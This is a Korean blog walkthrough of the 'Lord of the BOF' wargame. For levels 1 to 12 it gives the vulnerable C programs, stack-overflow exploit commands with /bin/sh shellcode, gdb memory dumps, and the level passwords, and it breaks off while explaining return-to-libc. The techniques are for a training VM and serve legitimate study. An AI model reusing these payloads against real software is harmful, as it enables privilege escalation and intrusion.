load of the bof.
- BOF 원정대 풀이(전체) 2014.05.07 2
BOF 원정대 풀이(전체)
풀이 하면서 간략히 정리해둔 것입니다. 상세설명은 내마음대로 하고싶은 문제만 정리 (-_-ㅋ)
# bof 원정대 풀이
[BOF-BufferOverflow- 원정대란?] 비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지 수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game입니다. [접속 방법] BOF 원정대는 도메인이나 IP가 아닌, vmware 이미지 형태로 제공합니다. 따라서 각자의 PC에 워게임 서버를 가동하신 후 접속해 풀어나가는 방식입니다. [다운로드] 1. 다음 Vmware 이미지를 다운받아 부팅한다. http://work.hackerschool.org/DOWNLOAD/TheLordOfTheBOF/TheLordOfTheBOF_redhat.zip 2. gate/gate로 로그인한다. 3. netconfig 명령으로 네트워크 설정을 한다. (setuid 걸어 놨습니다) 4. ip를 확인한다. (/sbin/ifconfig) 5. putty, xshell등으로 터미널 접속하여 문제 풀이를 시작한다. (telnet) [기본 룰] 1. single boot 금지 2. root exploit 금지 3. /bin/my-pass 명령에 LD_PRELOAD 사용 금지 [레벨업 패스워드 확인] /bin/my-pass [전용 게시판] http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship [몹 리스트] LEVEL1 (gate -> gremlin) : simple bof LEVEL2 (gremlin -> cobolt) : small buffer # hello bof world LEVEL3 (cobolt -> goblin) : small buffer + stdin LEVEL4 (goblin -> orc) : egghunter LEVEL5 (orc -> wolfman) : egghunter + bufferhunter LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter LEVEL7 (darkelf -> orge) : check argv[0] LEVEL8 (orge -> troll) : check argc LEVEL9 (troll -> vampire) : check 0xbfff LEVEL10 (vampire -> skeleton) : argv hunter LEVEL11 (skeleton -> golem) : stack destroyer LEVEL12 (golem -> darkknight) : sfp LEVEL13 (darkknight -> bugbear) : RTL1 LEVEL14 (bugbear -> giant) : RTL2, only execve LEVEL15 (giant -> assassin) : no stack, no RTL LEVEL16 (assassin -> zombie_assassin) : fake ebp LEVEL17 (zombie_assassin -> succubus) : function calls LEVEL18 (succubus -> nightmare) : plt LEVEL19 (nightmare -> xavis) : fgets + destroyers LEVEL20 (xavis -> death_knight) : remote BOF |
level1 - simple bof
그냥 buf 크기만큼 a 채우고 sfp 4 바이트 채우고 ret 에 egg shell 주소 넣으면 끝
level2 - small bof
1과 동일하지만 버퍼 크기가 작으므로 쉘코드를 바로 올릴 수는 없고 egg shell 로만 가능함
[gremlin@localhost gremlin]$ cat cobolt.c /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
[gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "A"x20,"\x18\xfb\xff\xbf"'
AAAAAAAAAAAAAAAAAAAA?
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(g
bash$ my-pass
euid = 502
hacking exposed
LEVEL3 (cobolt -> goblin) : small buffer + stdin
[cobolt@localhost cobolt]$ (python -c 'print "\x41"*20+"\x18\xfb\xff\xbf"';cat)|./goblin
AAAAAAAAAAAAAAAAAAAA?
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
whoami
goblin
my-pass
euid = 503
hackers proof
LEVEL4 (goblin -> orc) : egghunter
에그헌터라고 되어 있는데, 소스를 살펴보면 환경변수를 다 지워버린다. 즉 eggshell 을 이용할 수 없다.
[goblin@localhost goblin]$ cat orc.c /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
[goblin@localhost goblin]$ ./orc "`perl -e '{print "A"x40,"BBBB","\xb0\xfa\xff\xbf","\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"}'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB과퓧????????????????????1?方??^?1핂F?F
???V
?1???汪/bin/sh
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata
bash$
===============================================================
LEVEL5 (orc -> wolfman) : egghunter + bufferhunter]
[orc@localhost orc]$ cat wolfman.c /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } |
위의 문제와 거의 동일함. 버퍼도 지우지만 버퍼는 사용하지 않으므로 상관없음(뒤를 사용하면 됨)
[orc@localhost orc]$ ./wolfman `python -c 'print "\x90"*44+"\x80\xfa\xff\xbf"+"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
?????????????????????????????????????????????퓧????????????????????1?方??^?1핂F?F
컞??V
?1???汪/bin/sh
bash$ id
uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)
bash$ my-pass
euid = 505
love eyuna
LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter
이번 문제는 위의 검증 + argv[1] 검증이 있다. 하지만 그냥 argv2 를 이용하면 된다.
[orc@localhost orc]$ cat wolfman.c /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } |
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "A"*44+"\xff\xfb\xff\xbf"'` `python -c 'print "\x90"*200+"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
kernel crashed
LEVEL7 (darkelf -> orge) : check argv[0]
[darkelf@localhost darkelf]$ cat orge.c /* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } |
문제를 보면 argv[0] 을 체크한다. argv[0] 은 전체 경로를 의미하므로 /를 계속 써주거나 ./ 를 써주거나 심볼릭 링크 등을 이용하면 된다. 마찬가지로 argv[1] 은 체크하므로 argv[2] 를 이용하여 exploit.
[darkelf@localhost darkelf]$ .////////////////////////////////////////////////////////////////////////orge `python -c 'print "A"*44 + "\xc0\xfa\xff\xbf"'` `python -c 'print "\x90"*200+"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA저
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker
==========================================================================
LEVEL8 (orge -> troll) : check argc
#include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; // here is changed if(argc != 2){ printf("argc must be two!\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); } |
이제 argv[1] 도 0으로 초기화 해 버린다. 2는 쓸수 없고..
rtl 을 하기엔 bf 로만 변조가 가능하므로 불가능하다. 결론은 argv[0] 밖에 없다.
.///////// 문제에서 확인한 것처럼 argv[0] 또한 입력값으로 쓸 수 있다.(경로명이 포함되므로)
argv[0] 를 nop + 쉘코드로 만들어야 한다.
하지만 파일은 user 가 다르기 때문에 이름을 바로 바꿀 수 없으니, 폴더를 만들어서 사용해야 한다. 만들때 /bin/sh 가 폴더로 인식되므로 -p 옵션을 주어야 한다. (하위 폴더까지 만드는 옵션)
아니면 뒤에 /bin 폴더 만들고 들어가서 /sh 만들어도 되긴 할 듯 하다.
어쨌든 만들어 주고 난 뒤에 troll 을 실행하려면 ./생성폴더명/../../../troll 과 같이 하면 된다.
(./쉘코드폴더/bin/sh/../../../troll == ./troll 이므로)
쉘코드를 대충 찍어서 풀려고 하다가 잘 안되서 troll2.c 로 복사해서
printf(“%x”, buffer); 추가해서 출력한 뒤 그 값 위아래로 찍어줬다.
[orge@localhost orge]$ "./`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`/../../../troll" `python -c 'print "A"*44+"\x01\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin
bash$
LEVEL9 (troll -> vampire) : check 0xbfff
[troll@localhost troll]$ cat vampire.c /* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
중요한 부분은 \xbfff ← ff 를 차단한다는 것이다. ff가 차단되면 기존의 방법으로는 쉘코드주소를 바로 호출할 수가 없다. 방법은 nop 을 잔뜩 추가하여 스택 주소를 더 할당하도록 만들어 \xbffe 까지 올라가도록 하는 것이다. (스택은 아래쪽으로 자라나니까) 몇번 테스트 해보니 100000 개 정도 추가하면 bffe 까지 올라감을 확인했다. 바로 실행~
[troll@localhost troll]$ ./vampire `python -c 'print "A"*44 + "\x40\x74\xfe\xbf" +"\x90"*100000+"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world
bash$ exit
exit
LEVEL10 (vampire -> skeleton) : argv hunter
[vampire@localhost vampire]$ cat skeleton.c /* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } // argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); } |
이번에는 좀더 많은 조건이 걸려있다. ultra argv hunter 때문에 argv[0] 도 이용할 수 없다.
하지만 실제 확인해 보면 argv[0] 으로 입력된 문자열이 스택의 끝부분에 존재함을 확인할 수
있다. main 함수 이전의 전처리 과정에서 스택에 입력되는 것이라 예상되긴 하나..정확한
이유는 모르겠다. 어쨌든 이것을 이용하여 이전 문제와 동일하게 해결했다.
먼저 mkdir -p 옵션을 이용해 쉘코드 폴더를 만들고, ../../../skeleton 으로 실행하여 쉘코드를
스택끝부분에 입력시키고, 실행했다.
[vampire@localhost vampire]$ ls -l
total 104
-rw------- 1 vampire vampire 61440 Apr 30 01:00 core
-rwsr-sr-x 1 skeleton skeleton 12752 Mar 3 2010 skeleton
-rw-r--r-- 1 root root 821 Mar 29 2010 skeleton.c
-rwxrwxr-x 1 vampire vampire 12752 Apr 30 00:31 skeleton2
drwxrwxr-x 3 vampire vampire 4096 Apr 30 00:58 ????????????????????????????????????????????????????????????????????????????????????????????????????1?方???^?v?1?F??F????N??V??1???汪
[vampire@localhost vampire]$ gdb -q core core
"/home/vampire/core": not in executable format: File format not recognized
Core was generated by ` '.
Program terminated with signal 11, Segmentation fault.
#0 0x40030902 in ?? ()
(gdb) x/80x 0xbfffff00
0xbfffff00: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff40: 0x00000000 0x00000000 0x00000000 0x902f2e00
0xbfffff50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffffa0: 0x90909090 0x90909090 0x90909090 0x90909090 // 쉘코드(argv[0])
0xbfffffb0: 0x31909090 0xb0db31c0 0xeb80cd17 0x76895e1f
0xbfffffc0: 0x88c03108 0x46890746 0x890bb00c 0x084e8df3
0xbfffffd0: 0xcd0c568d 0x89db3180 0x80cd40d8 0xffffdce8
0xbfffffe0: 0x69622fff 0x68732f6e 0x2f2e2e2f 0x2e2f2e2e
0xbffffff0: 0x6b732f2e 0x74656c65 0x00326e6f 0x00000000
0xc0000000: Cannot access memory at address 0xc0000000
(gdb) quit
[vampire@localhost vampire]$ ./`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh/../../../skeleton2"'` `python -c 'print "A"*44 + "\x60\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`
bash$ id
uid=509(vampire) gid=509(vampire) groups=509(vampire)
bash$ exit
exit
[vampire@localhost vampire]$ ./`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh/../../../skeleton"'` `python -c 'print "A"*44 + "\x60\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`
bash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder
LEVEL11 (skeleton -> golem) : stack destroyer
[skeleton@localhost skeleton]$ cat golem.c /* The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); } |
argv[1][47] != ‘\xbf’ 때문에 스택을 이용해야 하지만 stack destroyer 때문에 스택의 모든 바이트는 0으로 초기화 된다.(?) 여러가지 방법을 강구해본 결과, LD_PRELOAD 를 이용하면 라이브러리를 로드시킬 수 있으므로 뭔가 방법이 있을거라 생각하고 시도해 보았다. 우선 LD_PRELOAD=./test.so 로 프로그램을 실행시킨 뒤 스택에 test.so 가 있는지 찾아보았다. 역시 중간에 test.so 가 존재함을 확인할 수 있었고, 이를 이용하면 될 듯 하다. 이 밖에도 test.so 내부에서 정적변수를 만들어서 해당 쉘코드를 등록시키는 것도 가능할 것이고 방법은 다양할 것 같다. 여기선 간단히 라이브러리명을 쉘코드로 만들어서 스택에 쉘코드를 올리도록 했다.
$ mkdir -p `python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/"'`
// test.so 를 “쉘코드폴더/sh” 로 복사
$ cp test.so `python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
// LD_PRELOAD 로 라이브러리 등록
$ export LD_PRELOAD=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
// 스택 덤프를 위한 실행(코어덤프 생성)
$ ./golem2 `python -c 'print "A"*44+"\x1b\xf7\xff\xbf"'`
// 코어덤프로 스택 확인
$ gdb -q core core
(gdb) x/40x 0xbffff580
0xbffff580: 0x40013868 0xbffff754 0x4000380e 0x40014470
0xbffff590: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f0: 0x90909090 0xdb31c031 0x80cd17b0 0x895e1feb
0xbffff600: 0xc0310876 0x89074688 0x0bb00c46 0x4e8df389
0xbffff610: 0x0c568d08 0xdb3180cd 0xcd40d889 0xffdce880
// 실행~
[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44+"\x90\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
bash$ exit
LEVEL12 (golem -> darkknight) : sfp
[golem@localhost golem]$ cat darkknight.c /* The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO */ #include <stdio.h> #include <stdlib.h> void problem_child(char *src) { char buffer[40]; strncpy(buffer, src, 41); // sfp 1 byte overflow printf("%s\n", buffer); } main(int argc, char *argv[]) { if(argc<2){ printf("argv error\n"); exit(0); } problem_child(argv[1]); } |
이번 문제는 문제힌트에 sfp 라고 주어져 있다. 소스를 살펴보면 strncpy 를 사용하고 있지만 버퍼보다 1바이트를 더 복사해
주고 있기 때문에 취약성이 발생한다. 이는 실제 소스상에서도 종종 발생하는 버그이다. 물론 저렇게 대놓고 있지는 않고 복사
할 바이트를 동적으로 계산하는 과정에서 버퍼보다 큰 값을 복사하는 경우가 종종 있다.
각설하고, 문제로 돌아와서 44개의 A를 넣어보자.
Starting program: /home/golem/darkknight2 `python -c 'print "A"*44'`
Breakpoint 2, 0x8048450 in problem_child ()
(gdb) x/x $eax
0xbffffaa4: 0x0804953c
(gdb) x/x 0x0804953c
0x804953c <_GLOBAL_OFFSET_TABLE_+12>: 0x400f8550
(gdb) ni
Breakpoint 1, 0x8048455 in problem_child ()
(gdb) x/40x 0xbffffaa4
0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac4: 0x41414141 0x41414141 0xbffffa41 0x0804849e
SFP RET
이중 SFP 의 끝값이 41로 바뀐것을 확인할 수 있다. RET 를 변조시키지 못했으니 취약하지 않은걸까? 그렇지 않다.
SFP 는 함수 에필로그 과정과 관련이 깊다. 스택프레임을 호출이전으로 돌리기 위한 과정이기 때문이다.
0x80484a1 in main ()
1: x/i $eip 0x80484a1 <main+53>: leave
(gdb)
0x80484a2 in main ()
1: x/i $eip 0x80484a2 <main+54>: ret
(gdb) x/x $esp
0xbffffaa8: 0x41414141
(gdb) ni
warning: Cannot insert breakpoint 0:
Cannot access memory at address 0x41414141
결론은 41번째에 입력한 바이트가 sfp 1바이트를 덮어씌운다는 것이며 이로 인해 상위스택프레임(main 함수) 의 ret 주소를
변경할 수 있다는 것이다. 위에서는 0xbffffa41+4 에 존재하는 값(0x41414141) 로 점프하여 에러가 발생한다.
이번에는 main 함수의 ret 직전에 브레이크 포인트를 걸고 스택을 살펴보자.
(gdb) r `python -c 'print "\x41\x41\x41\x41"+"\x42"*4+"\x41"*32+"\x8c"'`
Starting program: /home/golem/./darkknight2 `python -c 'print "\x41\x41\x41\x41"+"\x42"*4+"\x41"*32+"\x8c"'`
0x80484a2 in main ()
2: /x $esp = 0xbffff090
1: x/i $eip 0x80484a2 <main+54>: ret
(gdb) x/40x 0xbffff080
0xbffff080: 0x401081ec 0xbffff0bc 0x08048466 0x08048500
0xbffff090: 0xbffff094 0x41414141 0x42424242 0x41414141
0xbffff0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0b0: 0x41414141 0x41414141 0x41414141 0xbffff08c // 41 번째 바이트
0xbffff0c0: 0x0804849e 0xbffff237 0xbffff0e8 0x400309cb
0xbffff0d0: 0x00000002 0xbffff114 0xbffff120 0x40013868
0xbffff0e0: 0x00000002 0x08048390 0x00000000 0x080483b1
0xbffff0f0: 0x0804846c 0x00000002 0xbffff114 0x080482e4
0xbffff100: 0x080484dc 0x4000ae60 0xbffff10c 0x40013e90
0xbffff110: 0x00000002 0xbffff21d 0xbffff237 0x00000000
(gdb) si
역시 41번째 입력한 값이 SFP 를 1바이트 덮어씌웠으며, 스택의 시작주소가 0xbfffff094 이고, 바로 4바이트 앞인 0xbfffff090 에 해당 주소(94) 가 적혀 있음을 알 수 있다.
이제 쉘코드를 넣고 1byte 를 쉘코드 주소가 적힌 포인터를 가리키도록 하여 공격을 해보자.
(gdb) r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x41"*16+"\x8c"'`
Breakpoint 3, 0x804849e in main ()
2: /x $esp = 0xbffff0c4
1: x/i $eip 0x804849e <main+50>: add $0x4,%esp
(gdb) c
Continuing.
(gdb)
Continuing.
bash$ id
uid=511(golem) gid=511(golem) groups=511(golem)
성공했다. 이제 gdb 가 아닌 실제 파일을 공격해보자.
[golem@localhost golem]$ ./darkknight2 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x41"*16+"\x8c"'`
1픐h//shh/bin??S??
것AAAAAAAAAAAAAAAA??퓹?3?원?옹 @
Segmentation fault (core dumped)
이러한 에러가 나는 이유는 gdb 와 실제 프로세스 상의 메모리 주소값 차이 때문이다. 코어덤프를 분석해 보자.
[golem@localhost golem]$ gdb -q core core
"/home/golem/core": not in executable format: File format not recognized
Core was generated by `./darkknight2 1픐h//shh/bin??S??
것AAAAAAAAAAAAAAAA?.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/x $esp
0xbffffad4: 0x41414141
(gdb) x/80x 0xbffffaa0
0xbffffaa0: 0x401081ec 0xbffffadc 0x08048466 0x08048500
0xbffffab0: 0xbffffab4 0x6850c031 0x68732f2f 0x69622f68 // 쉘코드 주소 및 시작점
0xbffffac0: 0x50e3896e 0x99e18953 0x80cd0bb0 0x41414141
0xbffffad0: 0x41414141 0x41414141 0x41414141 0xbffffacc
0xbffffae0: 0x0804849e 0xbffffc33 0xbffffb08 0x400309cb
0xbffffaf0: 0x00000002 0xbffffb34 0xbffffb40 0x40013868
0xbffffb00: 0x00000002 0x08048390 0x00000000 0x080483b1
0xbffffb10: 0x0804846c 0x00000002 0xbffffb34 0x080482e4
실제 파일에는 버퍼가 0xbffffab4 부터 시작하며, 해당 주소에 대한 포인터는 -4 인 0xbffffab0 에 있음을 확인할 수 있다.
하지만 leave 명령 과정에서 esp 가 +4 되므로 실제 공격시의 1byte 는 b0 이 아니라 b0 - 4 = ac 이다.
공격해보자.
[golem@localhost golem]$ ./darkknight `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x41"*16+"\xac"'`
1픐h//shh/bin??S??
것AAAAAAAAAAAAAAAA?퓹?5.?옹 @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
성공~!!
LEVEL13 (darkknight -> bugbear) : RTL1
[darkknight@localhost darkknight]$ cat bugbear.c /* The Lord of the BOF : The Fellowship of the BOF - bugbear - RTL1 */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] == '\xbf') { printf("stack betrayed you!!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
이번 문제는 오히려 쉽다. 기초적인 RTL을 이용하면 된다. 소스 상에서 bf 를 금지하므로 스택상의 주소는 사용할 수 없다.
하지만 RTL(Return To Library) 기법을 사용하면 된다. 스택에서 실행권한이 빠진 이후(2.6.x) 우회를 위해 개발되었다.
리턴주소를 실행권한이 존재하는 라이브러리 상의 함수로 조작하는 것이다. 주로 사용되는 함수는 setuid 계열 함수,
